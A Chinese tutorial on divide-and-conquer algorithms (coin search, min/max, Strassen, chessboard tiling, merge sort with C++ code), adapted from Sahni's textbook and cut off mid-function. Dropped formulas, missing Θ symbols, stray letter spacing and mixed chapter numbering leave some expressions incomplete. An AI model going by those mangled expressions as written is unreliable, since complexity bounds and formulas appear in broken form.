28. 若把有向图作为L i n k e d w D i g r a p h类的一个成员，重写程序1 3 - 5，函数应作为该类的一个成员。函数的复杂性是多少？

29. 若把有向图作为L i n k e d W D i g r a p h类的一个成员且仅有O (n)条边，重写程序1 3 - 5，L用最小堆来实现。函数的复杂性是多少？

30. 从N e t w o r k类（见程序1 2 - 1 5）派生出一个新的模板类D N e t w o r k（有向网络），这个类仅包含应用于有向网络的所有函数。为该类定义一个S h o r t e s t P a t h s函数，使得它与有向网络的描述形式无关，尤其适用于耗费邻接矩阵及邻接链表描述方法。在函数的实现过程中可利用原来的遍历函数，也可根据需要定义新的遍历函数。函数的复杂性应为O (n2 )，其中n 是顶点的数目，试证明之。

*31. 1) 给出P r i m算法（如图1 3 - 1 4所示）的一种正确性证明。

2) 将图1 3 - 1 4细化为一个C + +程序U N e t w o r k : : P r i m，其复杂性应为O (n2 )。

3) 证明程序的复杂性确实是O(n2 )。

*32. 1) 证明对于任意连通无向图，S o l l i n算法总能找到一个最小耗费生成树。

2) 在S o l l i n算法中，最大的步骤数是多少？试用图中顶点数n 来表示。

3) 编写一个C + +程序U N e t w o r k : : S o l l i n，使用S o l l i n算法找到一棵最小生成树。

4) 程序的复杂性是多少？

*33. 令T为一棵每条边均带有长度的树（不一定是二叉树）。令S为T中顶点的子集，并令T / S为从T中删除S中的顶点所得到的森林。我们希望能找到具有最小走势的子集S，使得T / S中没有从根到叶的距离大于d的森林。

1) 给出一种寻找最小走势子集S的贪婪算法（提示：从叶节点开始向根移动）。

2) 证明算法的正确性。

3) 算法的复杂性是多少？如果它不是T中顶点数的线性函数，则重新设计算法，使其复杂性是线性的。

*34. 令T / S表示将S中的每个顶点复制两份而获得的森林，其中父节点的指针指向一个复本，而另一复本的指针指向其儿子。针对这种情况再做练习3 3。

（ 说明：本资料是根据《数据结构、算法与应用》（美，Sartaj Sahni著）一书第13-17章编辑、改写的。考虑到因特网传输速度等因素，大部分插图和公式不得不被删除。对于内容不连贯之处，请网友或读者参阅该书，敬请原谅。 ）

作者: liuchaohai


常用算法（2）分而治之算法
常用算法（2）分而治之算法

--------------------------------------------------------------------------------

作者:liuchaohai 来源: 类别:数据算法 日期:2002.09.19 今日/总浏览: 3/6

    第 2 章 分而治之算法

君主和殖民者们所成功运用的分而治之策略也可以运用到高效率的计算机算法的设计过程中。本章将首先介绍怎样在算法设计领域应用这一古老的策略，然后将利用这一策略解决如下问题：最小最大问题、矩阵乘法、残缺棋盘、排序、选择和一个计算几何问题--找出二维空间中距离最近的两个点。

本章给出了用来分析分而治之算法复杂性的数学方法，并通过推导最小最大问题和排序问题的复杂性下限来证明分而治之算法对于求解这两种问题是最优的（因为算法的复杂性与下限一致）。

2.1 算法思想

分而治之方法与软件设计的模块化方法非常相似。为了解决一个大的问题，可以： 1) 把它分成两个或多个更小的问题； 2) 分别解决每个小问题； 3) 把各小问题的解答组合起来，即可得到原问题的解答。小问题通常与原问题相似，可以递归地使用分而治之策略来解决。

例2-1 [找出伪币] 给你一个装有1 6个硬币的袋子。1 6个硬币中有一个是伪造的，并且那个伪造的硬币比真的硬币要轻一些。你的任务是找出这个伪造的硬币。为了帮助你完成这一任务，将提供一台可用来比较两组硬币重量的仪器，利用这台仪器，可以知道两组硬币的重量是否相同。比较硬币1与硬币2的重量。假如硬币1比硬币2轻，则硬币1是伪造的；假如硬币2比硬币1轻，则硬币2是伪造的。这样就完成了任务。假如两硬币重量相等，则比较硬币3和硬币4。同样，假如有一个硬币轻一些，则寻找伪币的任务完成。假如两硬币重量相等，则继续比较硬币5和硬币6。按照这种方式，可以最多通过8次比较来判断伪币的存在并找出这一伪币。

另外一种方法就是利用分而治之方法。假如把1 6硬币的例子看成一个大的问题。第一步，把这一问题分成两个小问题。随机选择8个硬币作为第一组称为A组，剩下的8个硬币作为第二组称为B组。这样，就把1 6个硬币的问题分成两个8硬币的问题来解决。第二步，判断A和B组中是否有伪币。可以利用仪器来比较A组硬币和B组硬币的重量。假如两组硬币重量相等，则可以判断伪币不存在。假如两组硬币重量不相等，则存在伪币，并且可以判断它位于较轻的那一组硬币中。最后，在第三步中，用第二步的结果得出原先1 6个硬币问题的答案。若仅仅判断硬币是否存在，则第三步非常简单。无论A组还是B组中有伪币，都可以推断这1 6个硬币中存在伪币。因此，仅仅通过一次重量的比较，就可以判断伪币是否存在。

现在假设需要识别出这一伪币。把两个或三个硬币的情况作为不可再分的小问题。注意如果只有一个硬币，那么不能判断出它是否就是伪币。在一个小问题中，通过将一个硬币分别与其他两个硬币比较，最多比较两次就可以找到伪币。这样，1 6硬币的问题就被分为两个8硬币（A组和B组）的问题。通过比较这两组硬币的重量，可以判断伪币是否存在。如果没有伪币，则算法终止。否则，继续划分这两组硬币来寻找伪币。假设B是轻的那一组，因此再把它分成两组，每组有4个硬币。称其中一组为B1，另一组为B2。比较这两组，肯定有一组轻一些。如果B1轻，则伪币在B1中，再将B1又分成两组，每组有两个硬币，称其中一组为B1a，另一组为B1b。比较这两组，可以得到一个较轻的组。由于这个组只有两个硬币，因此不必再细分。比较组中两个硬币的重量，可以立即知道哪一个硬币轻一些。较轻的硬币就是所要找的伪币。

例2-2 [金块问题] 有一个老板有一袋金块。每个月将有两名雇员会因其优异的表现分别被奖励一个金块。按规矩，排名第一的雇员将得到袋中最重的金块，排名第二的雇员将得到袋中最轻的金块。根据这种方式，除非有新的金块加入袋中，否则第一名雇员所得到的金块总是比第二名雇员所得到的金块重。如果有新的金块周期性的加入袋中，则每个月都必须找出最轻和最重的金块。假设有一台比较重量的仪器，我们希望用最少的比较次数找出最轻和最重的金块。

假设袋中有n 个金块。可以用函数M a x（程序1 - 3 1）通过n-1次比较找到最重的金块。找到最重的金块后，可以从余下的n-1个金块中用类似的方法通过n-2次比较找出最轻的金块。这样，比较的总次数为2n-3。程序2 - 2 6和2 - 2 7是另外两种方法，前者需要进行2n-2次比较，后者最多需要进行2n-2次比较。

下面用分而治之方法对这个问题进行求解。当n很小时，比如说， n≤2，识别出最重和最轻的金块，一次比较就足够了。当n 较大时（n＞2），第一步，把这袋金块平分成两个小袋A和B。第二步，分别找出在A和B中最重和最轻的金块。设A中最重和最轻的金块分别为HA 与LA，以此类推，B中最重和最轻的金块分别为HB 和LB。第三步，通过比较HA 和HB，可以找到所有金块中最重的；通过比较LA 和LB，可以找到所有金块中最轻的。在第二步中，若n＞2，则递归地应用分而治之方法。

假设n= 8。这个袋子被平分为各有4个金块的两个袋子A和B。为了在A中找出最重和最轻的金块，A中的4个金块被分成两组A1和A2。每一组有两个金块，可以用一次比较在A中找出较重的金块HA1和较轻的金块LA1。经过另外一次比较，又能找出HA 2和LA 2。现在通过比较HA1和HA2，能找出HA；通过LA 1和LA2的比较找出LA。这样，通过4次比较可以找到HA 和LA。同样需要另外4次比较来确定HB 和LB。通过比较HA 和HB（LA 和LB），就能找出所有金块中最重和最轻的。因此，当n= 8时，这种分而治之的方法需要1 0次比较。如果使用程序1 - 3 1，则需要1 3次比较。如果使用程序2 - 2 6和2 - 2 7，则最多需要1 4次比较。设c(n)为使用分而治之方法所需要的比较次数。为了简便，假设n是2的幂。当n= 2时，c(n) = 1。对于较大的n，c(n) = 2c(n/ 2 ) + 2。当n是2的幂时，使用迭代方法（见例2 - 2 0）可知

c(n) = 3n/ 2 - 2。在本例中，使用分而治之方法比逐个比较的方法少用了2 5％的比较次数。

例2-3 [矩阵乘法] 两个n×n 阶的矩阵A与B的乘积是另一个n×n 阶矩阵C，C可表示为假如每一个C(i, j) 都用此公式计算，则计算C所需要的操作次数为n3 m+n2 (n- 1) a，其中m表示一次乘法，a 表示一次加法或减法。

为了得到两个矩阵相乘的分而治之算法，需要： 1) 定义一个小问题，并指明小问题是如何进行乘法运算的； 2) 确定如何把一个大的问题划分成较小的问题，并指明如何对这些较小的问题进行乘法运算； 3) 最后指出如何根据小问题的结果得到大问题的结果。为了使讨论简便，假设n 是2的幂（也就是说， n是1，2，4，8，1 6，.）。

首先，假设n= 1时是一个小问题，n> 1时为一个大问题。后面将根据需要随时修改这个假设。对于1×1阶的小矩阵，可以通过将两矩阵中的两个元素直接相乘而得到结果。

考察一个n> 1的大问题。可以将这样的矩阵分成4个n/ 2×n/ 2阶的矩阵A1，A2，A3，和A4。当n 大于1且n 是2的幂时，n/ 2也是2的幂。因此较小矩阵也满足前面对矩阵大小的假设。矩阵Bi 和Ci 的定义与此类似.

根据上述公式，经过8次n/ 2×n/ 2阶矩阵乘法和4次n/ 2×n/ 2阶矩阵的加法，就可以计算出A与B的乘积。因此，这些公式能帮助我们实现分而治之算法。在算法的第二步，将递归使用分而治之算法把8个小矩阵再细分（见程序2 - 1 9）。算法的复杂性为(n3 )，此复杂性与程序2 - 2 4直接使用公式（2 - 1）所得到的复杂性是一样的。事实上，由于矩阵分割和再组合所花费的额外开销，使用分而治之算法得出结果的时间将比用程序2 - 2 4还要长。

为了得到更快的算法，需要简化矩阵分割和再组合这两个步骤。一种方案是使用S t r a s s e n方法得到7个小矩阵。这7个小矩阵为矩阵D, E, ., J，矩阵D到J可以通过7次矩阵乘法， 6次矩阵加法，和4次矩阵减法计算得出。前述的4个小矩阵可以由矩阵D到J通过6次矩阵加法和两次矩阵减法得出.

用上述方案来解决n= 2的矩阵乘法。将某矩阵A和B相乘得结果C，如下所示：

因为n> 1，所以将A、B两矩阵分别划分为4个小矩阵，每个矩阵为1×1阶，仅包含一个元素。1×1阶矩阵的乘法为小问题，因此可以直接进行运算。利用计算D～J的公式，得：

D= 1（6-8）=-2

E= 4（7-5）= 8

F=（3 + 4）5 = 3 5

G=（1 + 2）8 = 2 4

H=（3-1）（5 + 6）= 2 2

I=（2-4）（7 + 8）=-3 0

J=（1 + 4）（5 + 8）= 6 5

根据以上结果可得：

对于上面这个2×2的例子，使用分而治之算法需要7次乘法和1 8次加/减法运算。而直接使用公式（2 - 1），则需要8次乘法和7次加/减法。要想使分而治之算法更快一些，则一次乘法所花费的时间必须比11次加/减法的时间要长。

假定S t r a s s e n矩阵分割方案仅用于n≥8的矩阵乘法，而对于n<8的矩阵乘法则直接利用公式（2 - 1）进行计算。则n= 8时，8×8矩阵相乘需要7次4×4矩阵乘法和1 8次4×4矩阵加/减法。每次矩阵乘法需花费6 4m+ 4 8a次操作，每次矩阵加法或减法需花费1 6a次操作。因此总的操作次数为7 ( 6 4m+ 4 8a) + 1 8 ( 1 6a) = 4 4 8m+ 6 2 4a。而使用直接计算方法，则需要5 1 2m+ 4 4 8a次操作。要使S t r a s s e n方法比直接计算方法快，至少要求5 1 2-4 4 8次乘法的开销比6 2 4-4 4 8次加/减法的开销大。或者说一次乘法的开销应该大于近似2 . 7 5次加/减法的开销。

假定n<1 6的矩阵是一个“小”问题，S t r a s s e n的分解方案仅仅用于n≥1 6的情况，对于n<1 6的矩阵相乘，直接利用公式（ 2 - 1）。则当n= 1 6时使用分而治之算法需要7 ( 5 1 2m+ 4 4 8a) +1 8 ( 6 4a) = 3 5 8 4m+ 4 2 8 8a次操作。直接计算时需要4 0 9 6m+ 3 8 4 0a次操作。若一次乘法的开销与一次加/减法的开销相同，则S t r a s s e n方法需要7 8 7 2次操作及用于问题分解的额外时间，而直接计算方法则需要7 9 3 6次操作加上程序中执行f o r循环以及其他语句所花费的时间。即使直接计算方法所需要的操作次数比St r a s s e n方法少，但由于直接计算方法需要更多的额外开销，因此它也不见得会比S t r a s s e n方法快。

n 的值越大，Strassen 方法与直接计算方法所用的操作次数的差异就越大，因此对于足够大的n，Strassen 方法将更快。设t (n) 表示使用Strassen 分而治之方法所需的时间。因为大的矩阵会被递归地分割成小矩阵直到每个矩阵的大小小于或等于k（k至少为8，也许更大，具体值由计算机的性能决定）. 用迭代方法计算，可得t(n) = (nl og27 )。因为l og27 ≈2 . 8 1，所以与直接计算方法的复杂性(n3 )相比，分而治之矩阵乘法算法有较大的改进。

注意事项

分而治之方法很自然地导致了递归算法的使用。在许多例子里，这些递归算法在递归程序中得到了很好的运用。实际上，在许多情况下，所有为了得到一个非递归程序的企图都会导致采用一个模拟递归栈。不过在有些情况下，不使用这样的递归栈而采用一个非递归程序来完成分而治之算法也是可能的，并且在这种方式下，程序得到结果的速度会比递归方式更快。解决金块问题的分而治之算法（例2 - 2）和归并排序方法（ 2 . 3节）就可以不利用递归而通过一个非递归程序来更快地完成。

例2-4 [金块问题] 用例2 - 2的算法寻找8个金块中最轻和最重金块的工作可以用二叉树来表示。这棵树的叶子分别表示8个金块（a, b,., h)，每个阴影节点表示一个包含其子树中所有叶子的问题。因此，根节点A表示寻找8个金块中最轻、最重金块的问题，而节点B表示找出a,b,c 和d 这4个金块中最轻和最重金块的问题。算法从根节点开始。由根节点表示的8金块问题被划分成由节点B和C所表示的两个4金块问题。在B节点，4金块问题被划分成由D和E所表示的2金块问题。可通过比较金块a 和b 哪一个较重来解决D节点所表示的2金块问题。在解决了D和E所表示的问题之后，可以通过比较D和E中所找到的轻金块和重金块来解决B表示的问题。接着在F，G和C上重复这一过程，最后解决问题A。

可以将递归的分而治之算法划分成以下的步骤：

1) 从图2 - 2中的二叉树由根至叶的过程中把一个大问题划分成许多个小问题，小问题的大小为1或2。

2) 比较每个大小为2的问题中的金块，确定哪一个较重和哪一个较轻。在节点D、E、F和G上完成这种比较。大小为1的问题中只有一个金块，它既是最轻的金块也是最重的金块。

3) 对较轻的金块进行比较以确定哪一个金块最轻，对较重的金块进行比较以确定哪一个金块最重。对于节点A到C执行这种比较。

根据上述步骤，可以得出程序1 4 - 1的非递归代码。该程序用于寻找到数组w [ 0 : n - 1 ]中的最小数和最大数，若n < 1，则程序返回f a l s e，否则返回t r u e。

当n≥1时，程序1 4 - 1给M i n和M a x置初值以使w [ M i n ]是最小的重量，w [ M a x ]为最大的重量。

首先处理n≤1的情况。若n>1且为奇数，第一个重量w [ 0 ]将成为最小值和最大值的候选值，因此将有偶数个重量值w [ 1 : n - 1 ]参与f o r循环。当n 是偶数时，首先将两个重量值放在for 循环外进行比较，较小和较大的重量值分别置为Min和Max，因此也有偶数个重量值w[2:n-1]参与for循环。

在for 循环中，外层if 通过比较确定( w [ i ] , w [ i + 1 ] )中的较大和较小者。此工作与前面提到的分而治之算法步骤中的2) 相对应，而内层的i f负责找出较小重量值和较大重量值中的最小值和

最大值，这个工作对应于3 )。for 循环将每一对重量值中较小值和较大值分别与当前的最小值w [ M i n ]和最大值w [ M a x ]进行比较，根据比较结果来修改M i n和M a x（如果必要）。

下面进行复杂性分析。注意到当n为偶数时，在for 循环外部将执行一次比较而在f o r循环内部执行3 ( n / 2 - 1 )次比较，比较的总次数为3 n / 2 - 2。当n 为奇数时，f o r循环外部没有执行比较，而内部执行了3(n-1)/2次比较。因此无论n 为奇数或偶数，当n>0时，比较的总次数为「3n/2ù-2次。

程序14-1 找出最小值和最大值的非递归程序

template<class T>

bool MinMax(T w[], int n, T& Min, T& Max)

{// 寻找w [ 0 : n - 1 ]中的最小和最大值

// 如果少于一个元素，则返回f a l s e

// 特殊情形： n <= 1

if (n < 1) return false;

if (n == 1) {Min = Max = 0;

return true;}

/ /对Min 和M a x进行初始化

int s; // 循环起点

if (n % 2) {// n 为奇数

Min = Max = 0;

s = 1;}

else {// n为偶数，比较第一对

if (w[0] > w[1]) {

Min = 1;

Max = 0;}

else {Min = 0;

Max = 1;}

s = 2;}

// 比较余下的数对

for (int i = s; i < n; i += 2) {

// 寻找w[i] 和w [ i + 1 ]中的较大者

// 然后将较大者与w [ M a x ]进行比较

// 将较小者与w [ M i n ]进行比较

if (w[i] > w[i+1]) {

if (w[i] > w[Max]) Max = i;

if (w[i+1] < w[Min]) Min = i + 1;}

else {

if (w[i+1] > w[Max]) Max = i + 1;

if (w[i] < w[Min]) Min = i;}

}

return true;

}

练习

1. 将例1 4 - 1的分而治之算法扩充到n> 1个硬币的情形。需要进行多少次重量的比较？

2. 考虑例1 4 - 1的伪币问题。假设把条件“伪币比真币轻”改为“伪币与真币的重量不同”，同样假定袋中有n 个硬币。

1) 给出相应分而治之算法的形式化描述，该算法可输出信息“不存在伪币”或找出伪币。算法应递归地将大的问题划分成两个较小的问题。需要多少次比较才能找到伪币（如果存在伪币）？

2) 重复1) ，但把大问题划分为三个较小问题。

3. 1) 编写一个C++ 程序，实现例1 4 - 2中寻找n 个元素中最大值和最小值的两种方案。使用递归来完成分而治之方案。

2) 程序2 - 2 6和2 - 2 7是另外两个寻找n 个元素中最大值和最小值的代码。试分别计算出每段程序所需要的最少和最大比较次数。

3) 在n 分别等于1 0 0，1 0 0 0或10 000的情况下，比较1）、2）中的程序和程序1 4 - 1的运行时间。对于程序2 - 2 7，使用平均时间和最坏情况下的时间。1）中的程序和程序2 - 2 6应具有相同的平均时间和最坏情况下的时间。

4) 注意到如果比较操作的开销不是很高，分而治之算法在最坏情况下不会比其他算法优越，为什么？它的平均时间优于程序2 - 2 7吗？为什么？

4. 证明直接运用公式（1 4 -2）~（1 4 - 5）得出结果的矩阵乘法的分而治之算法的复杂性为(n3 )。因此相应的分而治之程序将比程序2 - 2 4要慢。

5. 用迭代的方法来证明公式（1 4 - 6）的递归值为(n l og27)。

*6. 编写S t r a s s e n矩阵乘法程序。利用不同的k 值（见公式（1 4 - 6））进行实验，以确定k 为何值时程序性能最佳。比较程序及程序2 - 2 4的运行时间。可取n 为2的幂来进行比较。

7. 当n 不是2的幂时，可以通过增加矩阵的行和列来得到一个大小为2的幂的矩阵。假设使用最少的行数和列数将矩阵扩充为m 阶矩阵，其中m 为2的幂。

1) 求m / n。

2) 可使用哪些矩阵项组成新的行和列，以使新矩阵A' 和B' 相乘时，原来的矩阵A和B相乘的结果会出现在C' 的左上角？

3) 使用S t r a s s e n方法计算A' * B' 所需要的时间为(m2.81 )。给出以n 为变量的运行时间表达式。

2.2 应用

2.2.1 残缺棋盘

残缺棋盘（defective chessboard）是一个有2k×2k 个方格的棋盘，其中恰有一个方格残缺。图2 - 3给出k≤2时各种可能的残缺棋盘，其中残缺的方格用阴影表示。注意当k= 0时，仅存在一种可能的残缺棋盘（如图1 4 - 3 a所示）。事实上，对于任意k，恰好存在22k 种不同的残缺棋盘。

残缺棋盘的问题要求用三格板（t r i o m i n o e s）覆盖残缺棋盘（如图1 4 - 4所示）。在此覆盖中，两个三格板不能重叠，三格板不能覆盖残缺方格，但必须覆盖其他所有的方格。在这种限制条件下，所需要的三格板总数为( 22k -1 ) / 3。可以验证( 22k -1 ) / 3是一个整数。k 为0的残缺棋盘很容易被覆盖，因为它没有非残缺的方格，用于覆盖的三格板的数目为0。当k= 1时，正好存在3个非残缺的方格，并且这三个方格可用图1 4 - 4中的某一方向的三格板来覆盖。

用分而治之方法可以很好地解决残缺棋盘问题。这一方法可将覆盖2k×2k 残缺棋盘的问题转化为覆盖较小残缺棋盘的问题。2k×2k 棋盘一个很自然的划分方法就是将它划分为如图1 4 - 5 a所示的4个2k - 1×2k - 1 棋盘。注意到当完成这种划分后， 4个小棋盘中仅仅有一个棋盘存在残缺方格（因为原来的2k×2k 棋盘仅仅有一个残缺方格）。首先覆盖其中包含残缺方格的2k - 1×2k - 1 残缺棋盘，然后把剩下的3个小棋盘转变为残缺棋盘，为此将一个三格板放在由这3个小棋盘形成的角上，如图14-5b 所示，其中原2k×2k 棋盘中的残缺方格落入左上角的2k - 1×2k - 1 棋盘。可以采用这种分割技术递归地覆盖2k×2k 残缺棋盘。当棋盘的大小减为1×1时，递归过程终止。此时1×1的棋盘中仅仅包含一个方格且此方格残缺，所以无需放置三格板。

可以将上述分而治之算法编写成一个递归的C++ 函数Ti l e B o a r d (见程序1 4 - 2 )。该函数定义了一个全局的二维整数数组变量B o a r d来表示棋盘。B o a r d [ 0 ] [ 0 ]表示棋盘中左上角的方格。该函数还定义了一个全局整数变量t i l e，其初始值为0。函数的输入参数如下：

&#8226; tr 棋盘中左上角方格所在行。

&#8226; tc 棋盘中左上角方格所在列。

&#8226; dr 残缺方块所在行。

&#8226; dl 残缺方块所在列。

&#8226; size 棋盘的行数或列数。

Ti l e B o a r d函数的调用格式为Ti l e B o a r d（0,0, dr, dc,size)，其中s i z e = 2k。覆盖残缺棋盘所需要的三格板数目为( s i z e2 -1 ) / 3。函数TileBoard 用整数1到( s i z e2-1 ) / 3来表示这些三格板，并用三格板的标号来标记被该三格板覆盖的非残缺方格。

令t (k) 为函数Ti l e B o a r d覆盖一个2k×2k 残缺棋盘所需要的时间。当k= 0时，s i z e等于1，覆盖它将花费常数时间d。当k > 0时，将进行4次递归的函数调用，这些调用需花费的时间为4t (k-1 )。除了这些时间外， if 条件测试和覆盖3个非残缺方格也需要时间，假设用常数c 表示这些额外时间。可以得到以下递归表达式：

程序14-2 覆盖残缺棋盘

void TileBoard(int tr, int tc, int dr, int dc, int size)

{// 覆盖残缺棋盘

if (size == 1) return;

int t = tile++, // 所使用的三格板的数目

s = size/2; // 象限大小

/ /覆盖左上象限

if (dr < tr + s && dc < tc + s)

// 残缺方格位于本象限

Ti l e B o a r d ( t r, tc, dr, dc, s);

else {// 本象限中没有残缺方格

// 把三格板t 放在右下角

Board[tr + s - 1][tc + s - 1] = t;

// 覆盖其余部分

Ti l e B o a r d ( t r, tc, tr+s-1, tc+s-1, s);}

/ /覆盖右上象限

if (dr < tr + s && dc >= tc + s)

// 残缺方格位于本象限

Ti l e B o a r d ( t r, tc+s, dr, dc, s);

else {// 本象限中没有残缺方格

// 把三格板t 放在左下角

Board[tr + s - 1][tc + s] = t;

// 覆盖其余部分

Ti l e B o a r d ( t r, tc+s, tr+s-1, tc+s, s);}

/ /覆盖左下象限

if (dr >= tr + s && dc < tc + s)

// 残缺方格位于本象限

TileBoard(tr+s, tc, dr, dc, s);

else {// 把三格板t 放在右上角

Board[tr + s][tc + s - 1] = t;

// 覆盖其余部分

TileBoard(tr+s, tc, tr+s, tc+s-1, s);}

// 覆盖右下象限

if (dr >= tr + s && dc >= tc + s)

// 残缺方格位于本象限

TileBoard(tr+s, tc+s, dr, dc, s);

else {// 把三格板t 放在左上角

Board[tr + s][tc + s] = t;

// 覆盖其余部分

TileBoard(tr+s, tc+s, tr+s, tc+s, s);}

}

void OutputBoard(int size)

{

for (int i = 0; i < size; i++) {

for (int j = 0; j < size; j++)

cout << setw (5) << Board[i][j];

cout << endl;

}

}

可以用迭代的方法来计算这个表达式（见例2 - 2 0），可得t (k )= ( 4k )= （所需的三格板的数目）。由于必须花费至少( 1 )的时间来放置每一块三格表，因此不可能得到一个比分而治之算法更快的算法。

2.2.2 归并排序

可以运用分而治之方法来解决排序问题，该问题是将n 个元素排成非递减顺序。分而治之方法通常用以下的步骤来进行排序算法：若n 为1，算法终止；否则，将这一元素集合分割成两个或更多个子集合，对每一个子集合分别排序，然后将排好序的子集合归并为一个集合。

假设仅将n 个元素的集合分成两个子集合。现在需要确定如何进行子集合的划分。一种可能性就是把前面n- 1个元素放到第一个子集中（称为A），最后一个元素放到第二个子集里（称为B）。按照这种方式对A递归地进行排序。由于B仅含一个元素，所以它已经排序完毕，在A排完序后，只需要用程序2 - 1 0中的函数i n s e r t将A和B合并起来。把这种排序算法与I n s e r t i o n S o r t（见程序2 - 1 5）进行比较，可以发现这种排序算法实际上就是插入排序的递归算法。该算法的复杂性为O (n 2 )。把n 个元素划分成两个子集合的另一种方法是将含有最大值的元素放入B，剩下的放入A中。然后A被递归排序。为了合并排序后的A和B，只需要将B添加到A中即可。假如用函数M a x（见程序1 - 3 1）来找出最大元素，这种排序算法实际上就是S e l e c t i o n S o r t（见程序2 - 7）的递归算法。

假如用冒泡过程（见程序2 - 8）来寻找最大元素并把它移到最右边的位置，这种排序算法就是B u b b l e S o r t（见程序2 - 9）的递归算法。这两种递归排序算法的复杂性均为(n2 )。若一旦发现A已经被排好序就终止对A进行递归分割，则算法的复杂性为O(n2 )（见例2 - 1 6和2 - 1 7）。

上述分割方案将n 个元素分成两个极不平衡的集合A和B。A有n- 1个元素，而B仅含一个元素。下面来看一看采用平衡分割法会发生什么情况： A集合中含有n/k 个元素，B中包含其余的元素。递归地使用分而治之方法对A和B进行排序。然后采用一个被称之为归并（ m e rg e）的过程，将已排好序的A和B合并成一个集合。

例2-5 考虑8个元素，值分别为[ 1 0，4，6，3，8，2，5，7 ]。如果选定k = 2，则[ 1 0 , 4 , 6 , 3 ]和[ 8 , 2 , 5 , 7 ]将被分别独立地排序。结果分别为[ 3 , 4 , 6 , 1 0 ]和[ 2 , 5 , 7 , 8 ]。从两个序列的头部开始归并这两个已排序的序列。元素2比3更小，被移到结果序列；3与5进行比较，3被移入结果序列；4与5比较，4被放入结果序列；5和6比较，.。如果选择k= 4，则序列[ 1 0 , 4 ]和[ 6 , 3 , 8 , 2 , 5 , 7 ]将被排序。排序结果分别为[ 4 , 1 0 ]和[ 2 , 3 , 5 , 6 , 7 , 8 ]。当这两个排好序的序列被归并后，即可得所需要的排序序列。

图2 - 6给出了分而治之排序算法的伪代码。算法中子集合的数目为2，A中含有n/k个元素。

template<class T>

void sort( T E, int n)

{ / /对E中的n 个元素进行排序， k为全局变量

if (n >= k) {

i = n/k;

j = n-i;

令A 包含E中的前i 个元素

令B 包含E中余下的j 个元素

s o r t ( A , i ) ;

s o r t ( B , j ) ;

m e rge(A,B,E,i,j,); //把A 和B 合并到E

}

else 使用插入排序算法对E 进行排序

}

图14-6 分而治之排序算法的伪代码

从对归并过程的简略描述中，可以明显地看出归并n个元素所需要的时间为O (n)。设t (n)为分而治之排序算法（如图1 4 - 6所示）在最坏情况下所需花费的时间，则有以下递推公式：

其中c 和d 为常数。当n / k≈n-n / k 时，t (n) 的值最小。因此当k= 2时，也就是说，当两个子集合所包含的元素个数近似相等时， t (n) 最小，即当所划分的子集合大小接近时，分而治之算法通常具有最佳性能。

可以用迭代方法来计算这一递推方式，结果为t(n)= (nl o gn)。虽然这个结果是在n为2的幂时得到的，但对于所有的n，这一结果也是有效的，因为t(n) 是n 的非递减函数。t(n) =(nl o gn) 给出了归并排序的最好和最坏情况下的复杂性。由于最好和最坏情况下的复杂性是一样的，因此归并排序的平均复杂性为t (n)= (nl o gn)。

图2 - 6中k= 2的排序方法被称为归并排序（ m e rge sort ），或更精确地说是二路归并排序（two-way merge sort）。下面根据图1 4 - 6中k= 2的情况（归并排序）来编写对n 个元素进行排序的C + +函数。一种最简单的方法就是将元素存储在链表中（即作为类c h a i n的成员（程序3 -8））。在这种情况下，通过移到第n/ 2个节点并打断此链，可将E分成两个大致相等的链表。

归并过程应能将两个已排序的链表归并在一起。如果希望把所得到C + +程序与堆排序和插入排序进行性能比较，那么就不能使用链表来实现归并排序，因为后两种排序方法中都没有使用链表。为了能与前面讨论过的排序函数作比较，归并排序函数必须用一个数组a来存储元素集合E，并在a 中返回排序后的元素序列。为此按照下述过程来对图1 4 - 6的伪代码进行细化：当集合E被化分成两个子集合时，可以不必把两个子集合的元素分别复制到A和B中，只需简单地在集合E中保持两个子集合的左右边界即可。接下来对a 中的初始序列进行排序，并将所得到的排序序列归并到一个新数组b中，最后将它们复制到a 中。图1 4 - 6的改进版见图1 4 - 7。

template<class T>

M e rgeSort( T a[], int left, int right)

{ / /对a [ l e f t : r i g h t ]中的元素进行排序

if (left < right) {//至少两个元素

int i = (left + right)/2; //中心位置

M e rgeSort(a, left, i);

M e rgeSort(a, i+1, right);

M e rge(a, b, left, i, right); //从a 合并到b

Copy(b, a, left, right); //结果放回a

}

}

图14-7 分而治之排序算法的改进

可以从很多方面来改进图1 4 - 7的性能，例如，可以容易地消除递归。如果仔细地检查图1 4 - 7中的程序，就会发现其中的递归只是简单地重复分割元素序列，直到序列的长度变成1为止。当序列的长度变为1时即可进行归并操作，这个过程可以用n 为2的幂来很好地描述。长度为1的序列被归并为长度为2的有序序列；长度为2的序列接着被归并为长度为4的有序序列；这个过程不断地重复直到归并为长度为n 的序列。图1 4 - 8给出n= 8时的归并（和复制）过程，方括号表示一个已排序序列的首和尾。

初始序列[8] [4] [5] [6] [2] [1] [7] [3]

归并到b [4 8] [5 6] [1 2] [3 7]

复制到a [4 8] [5 6] [1 2] [3 7]

归并到b [4 5 6 8] [1 2 3 7]

复制到a [4 5 6 8] [1 2 3 7]

归并到b [1 2 3 4 5 6 7 8]

复制到a [1 2 3 4 5 6 7 8]

图14-8 归并排序的例子

另一种二路归并排序算法是这样的：首先将每两个相邻的大小为1的子序列归并，然后对上一次归并所得到的大小为2的子序列进行相邻归并，如此反复，直至最后归并到一个序列，归并过程完成。通过轮流地将元素从a 归并到b 并从b 归并到a，可以虚拟地消除复制过程。二路归并排序算法见程序1 4 - 3。

程序14-3 二路归并排序

template<class T>

void MergeSort(T a[], int n)

{// 使用归并排序算法对a[0:n-1] 进行排序

T *b = new T [n];

int s = 1; // 段的大小

while (s < n) {

MergePass(a, b, s, n); // 从a归并到b

s += s;

MergePass(b, a, s, n); // 从b 归并到a

s += s;

}

}

为了完成排序代码，首先需要完成函数M e rg e P a s s。函数M e rg e P a s s（见程序1 4 - 4）仅用来确定欲归并子序列的左端和右端，实际的归并工作由函数M e rg e (见程序1 4 - 5 )来完成。函数M e rg e要求针对类型T定义一个操作符< =。如果需要排序的数据类型是用户自定义类型，则必须重载操作符< =。这种设计方法允许我们按元素的任一个域进行排序。重载操作符< =的目的是用来比较需要排序的域。

程序14-4 MergePass函数

template<class T>

void MergePass(T x[], T y[], int s, int n)

{// 归并大小为s的相邻段

int i = 0;

while (i <= n - 2 * s) {

// 归并两个大小为s的相邻段

Merge(x, y, i, i+s-1, i+2*s-1);

i = i + 2 * s;

}

// 剩下不足2个元素

if (i + s < n) Merge(x, y, i, i+s-1, n-1);

else for (int j = i; j <= n-1; j++)

// 把最后一段复制到y

y[j] = x[j];

}

程序14-5 Merge函数

template<class T>

void Merge(T c[], T d[], int l, int m, int r)

